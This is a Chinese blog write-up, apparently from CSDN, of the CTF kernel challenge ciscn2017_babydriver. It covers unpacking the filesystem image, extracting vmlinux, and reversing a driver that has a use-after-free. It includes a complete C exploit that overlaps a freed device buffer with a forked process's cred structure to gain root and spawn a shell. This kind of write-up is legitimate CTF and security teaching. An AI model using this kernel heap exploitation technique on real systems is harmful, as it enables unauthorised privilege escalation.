linux_kernal_pwn ciscn2017_babydriver

是kernal pwn

给了三个文件

boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
bzImage: 打包的内核代码,一般通过它抽取出vmlinx,寻找gadget也是在这里
rootfs.cpio: 文件系统映像,也就是内核采用的文件系统

像用户态pwn一样,还不是先查保护。
在这里插入图片描述可以看得出来,只开了smep。
这是个啥,我们先说一下内核态保护都有点啥

内核保护从四个方面出发,分别是隔离、访问控制、异常检测、随机化。
隔离又分为用户代码不可执行,用户数据不可访问,还有一个KPTI。

而我们说的smep是属于用户代码不可执行。

这个是ctf-wiki的简介

起初,在内核态执行代码时,可以直接执行用户态的代码。那如果攻击者控制了内核中的执行流,就可以执行处于用户态的代码。由于用户态的代码是攻击者可控的,所以更容易实施攻击。为了防范这种攻击,研究者提出当位于内核态时,不能执行用户态的代码。

然后我们要把他给的文件系统文件解压,找到init文件,看看挂载了一些什么。

mkdir core
cp rootfs.cpio ./core
cd core
mv ./rootfs.cpio rootfs.cpio.gz     
 #因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./rootfs.cpio.gz 
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./rootfs.cpio 
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract  执行copy-in模式,还原备份档。
#-d或--make-directories  如有需要cpio会自行建立目录。
#-v或--verbose  详细显示指令的执行过程。
#-m或preserve-modification-time  不去更换文件的更改时间

查看init文件
在这里插入图片描述
moun挂载Linux系统外的文件
chown命令用于设置文件所有者和文件关联组的命令,chown 需要超级用户 root 的权限才能执行此命令。可以看到把flag扔到了root。
chmod控制用户对文件的权限的命令
exec设置文件流
insmod命令用于载入模块
最后poweroff关闭了电源

所以看半天其实为了说明就加载了babydriver.ko这个模块,问题就在里面。

那么怎么把这个模块拿出来,我们还有一个文件没用,就是bzImage,他是内核代码的压缩。

利用linux内核源码中的script中的extract-vmlinux脚本可以抽取出vmlinux
vmlinux就是内核文件。

./extract-vmlinux ./bzImage > vmlinux

这个./extract-vmlinux可能有一些内核把它剥离了,所以只能自己写shell脚本。

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if  [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

将这个脚本写在桌面,或者其他地方。
然后给个权限

chmod +x ./extract-vmlinux

然后就可以用上面那个句子来提取vmlinux了。

前期工作准备完毕,然后我们就知道问题在那个babydriver的模块中,我们把他拉到IDA当中。
在这里插入图片描述
函数目录在这里。

open
在这里插入图片描述kmem_cache_alloc_trace用于从缓冲区申请内存。
就是申请了0x40大小的内存,然后地址,大小存在了结构体中。

read
在这里插入图片描述比较device_buf_len和长度,执行copy_to_user,就像buffer中写东西,这个buffer明显是用户态传进来的。

write
在这里插入图片描述write显然跟read是反的,copy from。
就是往内核写。

ioctl
在这里插入图片描述输入65537,就会释放buf,然后再申请len大小的内存。

release
在这里插入图片描述
就是释放,但是显然,我们熟悉的,没有清理指针,有uaf。而且结构体是全局变量。
也就是说如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过的。

怎么利用
首先我们要介绍一个cred结构体。

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

kernel 记录了进程的权限,更具体的,是用 cred 结构体记录的,每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。

那我们的思路是啥
先open两次/dev/babydev,fd1,fd2
通过ioctl修改babydevice_t->device_buf_len为cred结构体大小(0xa8)
关闭其中一个fd1,会将babydevice_t释放
fork,创建一个进程,由于释放的babydevice_t和cred大小相同,将使用babydevice_t作为cred结构体
通过write(fd2,buf)来修改cred的uid,gid为0

exp

CISCN2017_babydriver [master●●] cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }
    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }
    else
    {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

最后我们到了getshell的部分,怎样getshell。
首先我们把exp丢到core的tmp目录下。

cp exp core/tmp

然后重新把内核打包起来。

cd core
find . | cpio -o --format=newc > rootfs.cpio

然后把打包好的拿出来。

cp rootfs.cpio ..

然后出来,启动

cd ..
./boot.sh

在这里插入图片描述
然后就ok了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值